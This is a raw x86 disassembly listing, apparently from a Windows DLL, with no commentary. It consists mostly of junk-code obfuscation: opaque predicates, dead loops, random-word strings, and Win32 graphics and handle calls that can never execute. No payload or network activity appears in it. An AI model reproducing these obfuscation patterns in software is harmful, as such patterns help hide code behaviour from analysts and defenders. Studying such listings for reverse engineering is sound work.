cmp dword [ebp - 0x94], 0
jl 0x10013729
mov dword [ebp - 0x280], 0
jmp 0x100134f7
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jge 0x10013513
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x2f0], 0
jmp 0x100134ea
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2f0], 1
jmp 0x10013541
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2f0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f0], 0
jl 0x10013724
mov dword [ebp - 0x64], 0xca9f8d1
mov dword [ebp - 0x64], 0
jmp 0x1001356c
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jg 0x100136f9
mov dword [ebp - 0x124], 0x631e19e9
mov dword [ebp - 0x124], 0
jmp 0x10013599
cmp dword [ebp - 0x124], 1
jg 0x100136f4
mov dword [ebp - 0x678], 0x7e3f
mov dword [ebp - 0x9f0], str.bil_mxrz_flrypofqt_wpgz_awryxe_snb_eydb_maq_smle_hlrozoxoq_xdmla_zjventu
cmp dword [ebp - 0x678], 0x7f20
jle 0x10013681
push 0
push 0x22db
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
and dword [ebp - 0x288], 0
jmp 0x100135ef
cmp dword [ebp - 0x288], 0xf6
jge 0x10013681
and dword [ebp - 0x2f8], 0
jmp 0x10013615
cmp dword [ebp - 0x2f8], 0xc5f
jge 0x1001367c
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp + eax*4 - 0x958]
mov ecx, dword [ebp - 0x64]
mov dword [ebp + ecx*4 - 0x958], eax
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x678], 0x7c69
jge 0x100136bb
mov edx, dword [ebp - 0x9f0]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x100136d7
or dword [ebp - 4], 0xffffffff
jmp 0x100136e1
cmp dword [ebp - 0x124], 0
je 0x100136ef
jmp 0x10013565
mov dword [ebp - 0x64], 0
jmp 0x10013709
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x1001371f
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x958], 0xfffffffd
jmp 0x10013702
jmp 0x10013526
jmp 0x100134c4
mov dword [ebp - 0x94], 0
jmp 0x10013742
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jg 0x1001378d
mov dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0x300], 0
jmp 0x1001376e
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 1
jg 0x1001378b
mov eax, dword [ebp - 0x94]
cmp dword [ebp + eax*4 - 0x958], 0
je 0x10013789
jmp 0x1001378b
jmp 0x10013761
jmp 0x10013735
jmp 0x100133af
jmp 0x10013357
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x194]
and eax, 0xda
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x194]
or ecx, 0xda
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x194]
mov byte [ebp + eax - 0x97c], cl
mov dword [ebp - 0xcc], 0xc68ec0ae
mov dword [ebp - 0xcc], 0
jmp 0x100137f8
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffff9
jl 0x100138d5
mov dword [ebp - 0x80], 0
jmp 0x10013815
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1001382b
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xb00], 0xd386
jmp 0x1001380e
mov dword [ebp - 0x80], 0
jmp 0x1001383b
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x10013851
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x298], 0xcd53bc6e
jmp 0x10013834
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x298], 0
jmp 0x1001387f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x298]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x298], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x298], 0
jg 0x100138d0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x154], 0
jmp 0x100138b2
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x100138ce
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0xb00], 0x8f6c
jmp 0x100138a5
jmp 0x10013864
jmp 0x100137eb
mov dword [ebp - 0xcc], 0
jmp 0x100138ee
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffe4
jle 0x10013919
mov dword [ebp - 0x9f8], 0xffff
mov dword [ebp - 0xbec], 0xfffffffd
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0xbec], eax
jmp 0x100138e1
mov dword [ebp - 0x28], 2
and dword [ebp - 0x138], 0
jmp 0x10013931
cmp dword [ebp - 0x28], 0x20
jae 0x10014d15
mov dword [ebp - 0x88], 0
jmp 0x10013954
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x10013970
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xf14], 0x57fd5464
jmp 0x10013947
mov dword [ebp - 0x88], 0
jmp 0x10013989
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x100139a5
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x960], 1
jmp 0x1001397c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x960], 0
jmp 0x100139d3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x960]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x960], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x960], 1
jg 0x100139fc
mov dword [ebp - 0x8f0], 1
mov eax, dword [ebp - 0x8f0]
dec eax
mov dword [ebp - 0x8f0], eax
jmp 0x100139b8
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x194]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x1001434f
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x7e8], 0x4f934f54
mov dword [ebp - 0x7e0], 0x8e10e5e5
mov dword [ebp - 0x384], 0
mov dword [ebp - 0xc0c], 0xeb5ea28c
mov dword [ebp - 0xc08], 0xeb5ea28c
mov dword [ebp - 0xc04], 0xeb5ea28c
mov dword [ebp - 0xc00], 0xeb5ea28c
mov dword [ebp - 0x690], 0x20b2455f
mov dword [ebp - 0x6a0], 0x16309070
mov dword [ebp - 0x7f8], 0xda19ae86
mov dword [ebp - 0xb0c], 0xffffffff
mov dword [ebp - 0x308], 0
jmp 0x10013aa8
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 3
jge 0x10013ac4
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0xbc0], 0xffffffff
jmp 0x10013a9b
cmp dword [ebp - 0x2a0], 0x426a760
jge 0x10013adc
mov dword [ebp - 0x680], 1
jmp 0x10013ae3
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0xc8c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbc0]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x384], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x384]
cmp ecx, dword [ebp + eax - 0xc0c]
jg 0x10013b3a
mov dword [ebp - 0xa00], 1
jmp 0x10013b41
and dword [ebp - 0xa00], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbc0]
mov dword [ebp - 0xe28], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x384]
cmp ecx, dword [ebp + eax - 0xc0c]
jge 0x10013b74
mov dword [ebp - 0x688], 1
jmp 0x10013b7b
and dword [ebp - 0x688], 0
cmp dword [ebp - 0x688], 0x49f4ffcf
jl 0x10013b93
mov dword [ebp - 0x890], 1
jmp 0x10013b9a
and dword [ebp - 0x890], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbc0]
imul eax, dword [ebp - 0x890]
mov dword [ebp - 0x690], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x690]
cmp ecx, dword [ebp + eax - 0xc0c]
je 0x10013bd4
mov dword [ebp - 0x698], 1
jmp 0x10013bdb
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x7e8]
add eax, dword [ebp - 0x698]
jne 0x10013c05
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10013c05
mov dword [ebp - 0x8ec], 1
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x6a0]
imul eax, dword [ebp - 0x2a0]
test eax, eax
jne 0x10013c3e
mov dword [ebp - 0x34], 0x580d416d
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x120], 3
mov dword [ebp - 0xd4], 0xfb07d0d1
mov dword [ebp - 0x54c], 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x40]
jg 0x100143a8
mov dword [ebp - 0xbdc], 1
jmp 0x100143af
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x90]
sub eax, 4
cmp eax, 0x5ee4
jl 0x100143cb
mov dword [ebp - 0x49c], 1
jmp 0x100143d2
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x49c], eax
jle 0x100143ec
mov dword [ebp - 0x4a4], 1
jmp 0x100143f3
and dword [ebp - 0x4a4], 0
cmp dword [ebp - 0x4a4], 0
jne 0x10014408
mov dword [ebp - 0x4ac], 1
jmp 0x1001440f
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
sub eax, 0x376acada
cmp eax, dword [ebp - 0x90]
jne 0x10014440
mov dword [ebp - 0x4b4], 1
jmp 0x10014447
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x4b4], eax
jle 0x1001445e
mov dword [ebp - 0x4bc], 1
jmp 0x10014465
and dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x4bc], 0xd42c
je 0x1001447d
mov dword [ebp - 0x4c4], 1
jmp 0x10014484
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x4c4], eax
jne 0x1001449e
mov dword [ebp - 0xa20], 1
jmp 0x100144a5
and dword [ebp - 0xa20], 0
or eax, 0xffffffff
je 0x100144bc
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x97c], 0
mov dword [ebp - 0x5d4], 0xe704f3d
mov dword [ebp - 0xb60], 0xb969161d
mov dword [ebp - 0xa0], 0
jmp 0x10014d50
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x10014d6c
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x1dc], 1
jmp 0x10014d43
mov dword [ebp - 0xa0], 0
jmp 0x10014d85
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x10014da1
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x5cc], 0x1ea66e58
jmp 0x10014d78
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x10014dd1
push 0x222b
push 0x180f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1dc]
mov dword [ebp - 0xdc4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1dc], 0
jne 0x10014e72
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5cc], 0
je 0x10014e19
mov eax, 0xe1f6
test eax, eax
je 0x10014e19
mov dword [ebp - 0x5dc], 1
jmp 0x10014e20
and dword [ebp - 0x5dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5cc]
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
cmp eax, dword [ebp - 0x5dc]
je 0x10014e4d
mov dword [ebp - 0x5e4], 1
jmp 0x10014e54
and dword [ebp - 0x5e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1dc]
cmp dword [ebp - 0x5e4], eax
jle 0x10014e72
and dword [ebp - 0x5ec], 0
jmp 0x10014e7c
mov dword [ebp - 0x5ec], 1
cmp dword [ebp - 0x5ec], 0x9141a9c2
je 0x10014e94
mov dword [ebp - 0x5f4], 1
jmp 0x10014e9b
and dword [ebp - 0x5f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1dc]
cmp dword [ebp - 0x5f4], eax
jne 0x10014ebc
mov dword [ebp - 0x5fc], 1
jmp 0x10014ec3
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x5fc]
mov dword [ebp - 0xb60], eax
lea eax, [ebp - 0x97c]
push eax
lea ecx, [ebp - 0xedc]
call fcn.10019774
mov dword [ebp - 4], 0x19
and dword [ebp - 0x1fc], 0
jmp 0x10014efe
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xf
jae 0x10014feb
mov dword [ebp - 0x1ec], 0xf5540d7f
mov dword [ebp - 0xcb8], 0x40fc0272
mov dword [ebp - 0x604], 1
mov dword [ebp - 0x1e4], 0
jmp 0x10014f42
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x10014f5e
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xde0], 0x951ea66e
jmp 0x10014f35
mov dword [ebp - 0x1ec], 0x18
jmp 0x10014f77
cmp dword [ebp - 0x1ec], 0x1b
jne 0x10014fd8
mov dword [ebp - 0xcc0], 0xfffffffb
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0x1f4], 0
jmp 0x10014fad
cmp dword [ebp - 0x1f4], 1
jge 0x10014fc9
mov eax, dword [ebp - 0x1fc]
mov byte [ebp + eax - 0x97c], 0
jmp 0x10014ef1
push 1
push 0
lea eax, [ebp - 0xedc]
push eax
push dword [ebp - 0x60c]
call fcn.10016d90
add esp, 0x10
mov dword [0x10074f88], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xedc]
call fcn.100197a3
mov dword [ebp - 0x3f4], 0xffffffff
mov dword [ebp - 0x3f0], 0xffffffff
mov dword [ebp - 0x3ec], 0xffffffff
mov dword [ebp - 0x3e8], 0xffffffff
mov dword [ebp - 0x61c], 0xfffffff9
mov dword [ebp - 0x65c], 1
mov dword [ebp - 0xa58], 0xd9c7279c
mov dword [ebp - 0xe4c], 0xfffffffa
mov dword [ebp - 0x7c], 0
jmp 0x10015078
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x1001508e
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xdc0], 0x5849968c
jmp 0x10015071
mov dword [ebp - 0x7c], 0
jmp 0x1001509e
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x100150b4
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xb48], 0xfffffffb
jmp 0x10015097
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f4]
mov dword [ebp - 0xcd0], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x10015230
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f4]
mov dword [ebp - 0xdd4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3f4], 0xfffc
jbe 0x10015104
mov dword [ebp - 0x614], 1
jmp 0x1001510b
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x61c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x61c]
cmp ecx, dword [ebp + eax - 0x3f4]
jne 0x10015138
mov dword [ebp - 0x624], 1
jmp 0x1001513f
and dword [ebp - 0x624], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3f4]
imul eax, dword [ebp - 0x624]
test eax, eax
jne 0x10015163
xor eax, eax
jne 0x10015163
and dword [ebp - 0x62c], 0
jmp 0x1001516d
mov dword [ebp - 0x62c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f4]
cmp dword [ebp - 0x62c], eax
jge 0x1001518e
mov dword [ebp - 0x634], 1
jmp 0x10015195
and dword [ebp - 0x634], 0
cmp dword [ebp - 0x634], 0x1860
je 0x100151ad
mov dword [ebp - 0x63c], 1
jmp 0x100151b4
and dword [ebp - 0x63c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f4]
cmp dword [ebp - 0x63c], eax
jge 0x100151d5
mov dword [ebp - 0x644], 1
jmp 0x100151dc
and dword [ebp - 0x644], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x644]
mov dword [ebp + eax - 0xdc0], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f4]
mov dword [ebp - 0xcd8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xdc0], 0x734cb441
jg 0x10015230
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3f4], 0
je 0x10015230
mov dword [ebp - 0x64c], 1
jmp 0x10015237
and dword [ebp - 0x64c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3f4]
cmp dword [ebp - 0x64c], eax
jne 0x10015265
push 9
pop eax
test eax, eax
jne 0x10015265
mov eax, 0x512dc6d0
test eax, eax
jne 0x10015265
and dword [ebp - 0x654], 0
jmp 0x1001526f
mov dword [ebp - 0x654], 1
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xa50], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa50]
mov dword [ebp + eax - 0xb48], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f4]
mov dword [ebp - 0xd28], eax
mov dword [ebp - 0xa58], 0xffffffff
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x100152db
push 0x1a61
push 0x8ce
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
cmp dword [0x10074f88], 0
je 0x10016d0d
mov dword [ebp - 0x74], 0xfffffffe
mov dword [ebp - 0x664], 0x9b76eea5
mov dword [ebp - 0xb68], 0xffffffff
mov dword [ebp - 0xf4], 0xd68c
mov dword [ebp - 0x128], 0x7f45b6d4
mov dword [ebp - 0x3c4], 0xa6575e0a
mov dword [ebp - 0xa78], 0x6636227f
mov dword [ebp - 0x74], 0
jmp 0x1001533b
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 6
jle 0x10015a12
mov dword [ebp - 0x140], 0xfffffff7
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0xa60], 0
mov dword [ebp - 0x398], 0
mov dword [ebp - 0xa80], 0xffffffff
mov dword [ebp - 0x6bc], 0x1ccf
mov dword [ebp - 0xa68], str.nyee_vtsa_uclck_wfkpbn_cgzq_ybv_kzhszpke_vytl_rjzwp
cmp dword [ebp - 0x6bc], 0x1f6f
jle 0x10015494
push 0x9cb
push 0x202d
push 0x169
push 0x1df6
push 0
call dword [sym.imp.USER32.dll_SetRect]
and dword [ebp - 0x214], 0
jmp 0x100153cd
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x44b4
jge 0x10015494
and dword [ebp - 0x21c], 0
jmp 0x100153f3
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x3db0
jge 0x1001548f
and dword [ebp - 0x204], 0
jmp 0x10015419
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x3341
jge 0x1001548a
and dword [ebp - 0x20c], 0
jmp 0x1001543b
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x316f
jge 0x10015488
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x20c]
shl eax, cl
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x21c]
and eax, ecx
cdq
mov dword [ebp - 0xb20], eax
mov dword [ebp - 0xb1c], edx
push dword [ebp - 0xb1c]
push dword [ebp - 0xb20]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x1001542e
jmp 0x1001540c
jmp 0x100153e6
jmp 0x100153c0
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0xce0], eax
cmp dword [ebp - 0x140], 0
jne 0x10015539
cmp dword [ebp - 0x140], 0
je 0x100154e7
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xd30], eax
cmp dword [ebp - 0x664], 0x4c6a37d7
jne 0x100154da
mov dword [ebp - 0x66c], 1
jmp 0x100154e1
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0x140]
jne 0x10015501
mov dword [ebp - 0x674], 1
jmp 0x10015508
and dword [ebp - 0x674], 0
cmp dword [ebp - 0x674], 0x43e5ec35
jle 0x10015520
mov dword [ebp - 0x67c], 1
jmp 0x10015527
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 3
jge 0x10015539
and dword [ebp - 0x684], 0
jmp 0x10015543
mov dword [ebp - 0x684], 1
cmp dword [ebp - 0x684], 0xfbf26171
jae 0x1001555b
mov dword [ebp - 0x68c], 1
jmp 0x10015562
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0xb68]
cmp dword [ebp - 0x68c], eax
jl 0x1001557c
mov dword [ebp - 0x694], 1
jmp 0x10015583
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x694], eax
jne 0x1001559a
mov dword [ebp - 0x69c], 1
jmp 0x100155a1
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 0xfe44fa3f
jne 0x100155c2
cmp dword [ebp - 0xa60], 0
je 0x100155c2
mov dword [ebp - 0x6a4], 1
jmp 0x100155c9
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x6a4]
sub eax, 0xe289
jne 0x100155e6
push 2
pop eax
test eax, eax
jne 0x100155e6
and dword [ebp - 0x6ac], 0
jmp 0x100155f0
mov dword [ebp - 0x6ac], 1
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x6ac]
cmp eax, 0xe2499e68
jbe 0x10015621
cmp dword [ebp - 0xec], 0
je 0x10015621
cmp dword [ebp - 0x398], 0
je 0x10015621
mov dword [ebp - 0x6b4], 1
jmp 0x10015628
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x6b4], eax
jge 0x10015642
mov dword [ebp - 0xb54], 1
jmp 0x10015649
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xce8], eax
mov dword [ebp - 0x128], 0xbbeb927e
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x6bc], 0x1abc
jge 0x1001567f
mov edx, dword [ebp - 0xa68]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x1001569b
or dword [ebp - 4], 0xffffffff
jmp 0x100156a5
mov dword [ebp - 0xec], 0
jmp 0x100156be
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x2e
je 0x10015a0d
mov dword [ebp - 0x71c], 0xffffffff
mov dword [ebp - 0xa70], 0xffffffff
mov dword [ebp - 0x6c4], 0x42e4
mov dword [ebp - 0xb70], str.jxywigr_zfunmx_wcgxzq_rlkhz_vtl_iwvxbua_qbo_tkm_nqisgi_lfli_hsdkdq_akqtho_eusf_bsdpa
cmp dword [ebp - 0x6c4], 0x4634
jle 0x100157ac
and dword [ebp - 0x234], 0
jmp 0x10015719
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x13f9
jge 0x100157ac
and dword [ebp - 0x224], 0
jmp 0x1001573f
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x7d3
jge 0x100157a7
and dword [ebp - 0x22c], 0
jmp 0x10015761
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x6544
jge 0x100157a5
mov eax, dword [ebp - 0x224]
imul eax, dword [ebp - 0x22c]
xor eax, dword [ebp - 0x234]
cdq
mov dword [ebp - 0xb2c], eax
mov dword [ebp - 0xb28], edx
push dword [ebp - 0xb28]
push dword [ebp - 0xb2c]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x10015754
jmp 0x10015732
jmp 0x1001570c
mov dword [ebp - 0x6f4], 0x694a98a1
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x6c4], 0x4079
jge 0x100157d9
mov edx, dword [ebp - 0xb70]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x100157f5
or dword [ebp - 4], 0xffffffff
jmp 0x100157ff
mov dword [ebp - 0x23c], 0
jmp 0x10015818
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x10015834
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0xc2c], 0x669d
jmp 0x1001580b
cmp dword [ebp - 0xa70], 0
jl 0x10015849
mov dword [ebp - 0x6cc], 1
jmp 0x10015850
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
sub eax, 0x57feb941
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x398]
jl 0x1001587b
mov dword [ebp - 0xb78], 1
jmp 0x10015882
and dword [ebp - 0xb78], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xd38], eax
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x140], 0x634c5d19
jl 0x100158b6
mov dword [ebp - 0x6e4], 1
jmp 0x100158bd
and dword [ebp - 0x6e4], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc2c], 0
jne 0x100158df
cmp dword [ebp - 0x398], 0
jne 0x100158df
and dword [ebp - 0x6d4], 0
jmp 0x100158e9
mov dword [ebp - 0x6d4], 1
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0x6d4]
test eax, eax
jne 0x10015908
xor eax, eax
inc eax
jne 0x10015908
and dword [ebp - 0x6dc], 0
jmp 0x10015912
mov dword [ebp - 0x6dc], 1
mov eax, dword [ebp - 0x71c]
cmp dword [ebp - 0x6dc], eax
jl 0x1001592c
mov dword [ebp - 0x6ec], 1
jmp 0x10015933
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6e4]
cmp eax, dword [ebp - 0x6ec]
jle 0x10015953
cmp dword [ebp - 0x6f4], 0
jne 0x10015953
and dword [ebp - 0x6fc], 0
jmp 0x1001595d
mov dword [ebp - 0x6fc], 1
cmp dword [ebp - 0x6fc], 0xccb1
jle 0x10015975
mov dword [ebp - 0x704], 1
jmp 0x1001597c
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0x2b1956a7
jle 0x10015994
mov dword [ebp - 0x70c], 1
jmp 0x1001599b
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x3c4]
